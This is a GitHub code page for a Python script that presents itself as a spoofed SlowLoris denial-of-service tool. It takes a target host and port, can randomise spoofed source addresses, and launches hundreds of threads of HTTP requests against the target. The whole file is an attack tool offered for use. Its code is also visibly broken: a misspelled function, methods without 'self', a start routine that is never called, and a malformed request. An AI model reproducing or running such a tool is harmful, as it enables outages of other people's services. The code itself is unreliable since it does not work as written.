-
Notifications
You must be signed in to change notification settings - Fork 10
/
Copy pathSlowloris.py
57 lines (46 loc) · 1.29 KB
/
Slowloris.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
# slowloris.py
#
# Spoofed SlowLoris DoS in Python.
# inspired by RSnake's perl tool
#
# Sheikh Viirus
import http.client
from random import randint
import sys
import threading
randomize = False
src = None
dst = None
port = None
conn = None
class SlowLoris(threading.Thread):
global randomize, src, dst, port, conn
def __init__(self):
threading.Thread.__init__(self)
def build_conn(_src, _dst, _port):
return http.client.HTTPConnection(host = _dst, port = _port, timeout = 10, source_address = _src)
def gen_ip():
return '%i.%i.%i.%i' % (rand(), rand(), rand(), rand())
def rand():
return randit(1, 254)
def run():
conn = build_conn(gen_ip(), dst, port) if randomize else build_conn(src, dst, port)
conn.request("GET /?" + str(randint(1,9991)) + " HTTP/1.1")
def show_help(bin):
print('usage:\t%s [<src_addr>] <dst_addr> <port>' % bin)
def begin():
while True:
if threading.activeCount() <= 666:
SlowLoris.start()
if __name__ == '__main__':
if len(sys.argv) == 4:
src = sys.argv[1]
dst = sys.argv[2]
port = sys.argv[3]
elif len(sys.argv) == 3:
randomize = True
dst = sys.argv[1]
port = sys.argv[2]
else:
show_help(sys.argv[0])
exit()